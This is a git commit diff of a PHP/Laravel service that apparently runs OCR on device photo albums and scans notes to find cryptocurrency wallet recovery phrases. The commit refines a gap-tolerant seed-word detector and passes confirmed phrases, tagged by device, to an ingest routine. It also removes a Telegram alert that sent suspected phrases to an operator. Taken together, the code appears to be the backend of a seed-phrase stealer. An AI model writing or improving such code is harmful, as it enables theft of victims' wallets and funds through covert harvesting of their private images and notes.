feat: scan
This commit is contained in:
@@ -11,6 +11,10 @@ class MnemonicDetector
|
||||
|
||||
public const MIN_SUSPECTED = 8;
|
||||
|
||||
public const MIN_GAPPED_HITS = 9;
|
||||
|
||||
public const MAX_GAPS = 2;
|
||||
|
||||
public const MIN_CONFIRMED = 12;
|
||||
|
||||
public const MIN_UNIQUE = 8;
|
||||
@@ -180,31 +184,45 @@ class MnemonicDetector
|
||||
{
|
||||
$n = count($tokens);
|
||||
$best = null;
|
||||
$maxLen = min(24, $n);
|
||||
for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) {
|
||||
for ($i = 0; $i <= $n - $len; $i++) {
|
||||
$window = array_slice($tokens, $i, $len);
|
||||
$hits = 0;
|
||||
foreach ($window as $word) {
|
||||
if ($word !== '' && isset($wordlist[$word])) {
|
||||
$hits++;
|
||||
}
|
||||
}
|
||||
if ($hits < self::MIN_SUSPECTED) {
|
||||
continue;
|
||||
}
|
||||
$score = ($hits * 10) - (($len - $hits) * 2);
|
||||
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
|
||||
continue;
|
||||
}
|
||||
$best = [
|
||||
'candidate' => implode(' ', $window),
|
||||
'word_count' => $hits,
|
||||
'score' => $score,
|
||||
'language' => 'en',
|
||||
'confirmed' => false,
|
||||
];
|
||||
for ($i = 0; $i < $n; $i++) {
|
||||
if ($tokens[$i] === '' || ! isset($wordlist[$tokens[$i]])) {
|
||||
continue;
|
||||
}
|
||||
$hits = 0;
|
||||
$gaps = 0;
|
||||
$end = $i;
|
||||
for ($j = $i; $j < $n; $j++) {
|
||||
$word = $tokens[$j];
|
||||
if ($word !== '' && isset($wordlist[$word])) {
|
||||
$hits++;
|
||||
$end = $j;
|
||||
|
||||
continue;
|
||||
}
|
||||
$next = $tokens[$j + 1] ?? null;
|
||||
if ($gaps < self::MAX_GAPS && $next !== null && $next !== '' && isset($wordlist[$next])) {
|
||||
$gaps++;
|
||||
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
$minHits = $gaps === 0 ? self::MIN_SUSPECTED : self::MIN_GAPPED_HITS;
|
||||
if ($hits < $minHits) {
|
||||
continue;
|
||||
}
|
||||
$window = array_slice($tokens, $i, $end - $i + 1);
|
||||
$score = ($hits * 10) - ($gaps * 4);
|
||||
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
|
||||
continue;
|
||||
}
|
||||
$best = [
|
||||
'candidate' => implode(' ', $window),
|
||||
'word_count' => $hits,
|
||||
'score' => $score,
|
||||
'language' => 'en',
|
||||
'confirmed' => false,
|
||||
];
|
||||
}
|
||||
|
||||
return $best;
|
||||
|
||||
@@ -13,7 +13,6 @@ use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
use App\Support\NoteContent;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class MnemonicScanService
|
||||
@@ -23,7 +22,6 @@ class MnemonicScanService
|
||||
private readonly OcrDriver $ocr,
|
||||
private readonly PhotoOcrPreparer $preparer,
|
||||
private readonly IngestService $ingest,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
@@ -281,8 +279,6 @@ class MnemonicScanService
|
||||
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
|
||||
return;
|
||||
}
|
||||
$wasNew = ! $row->exists;
|
||||
$prevCandidate = $row->exists ? $row->candidate : '';
|
||||
$confirmed = $this->canIngestHit($hit);
|
||||
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
|
||||
$row->candidate = $hit['candidate'];
|
||||
@@ -295,24 +291,11 @@ class MnemonicScanService
|
||||
}
|
||||
$row->save();
|
||||
|
||||
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
|
||||
? WalletSource::fromTag('album_ocr')
|
||||
: WalletSource::fromTag('note_scan');
|
||||
if ($confirmed) {
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['candidate'],
|
||||
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
if ($wasNew || $prevCandidate !== $hit['candidate']) {
|
||||
$this->telegram->notifySuspectedMnemonic(
|
||||
$device->device_id,
|
||||
$sourceLabel,
|
||||
$hit['candidate'],
|
||||
(int) $hit['word_count'],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -322,17 +322,6 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔎 <b>疑似助记词</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
|
||||
'🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
|
||||
'📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
|
||||
Reference in New Issue
Block a user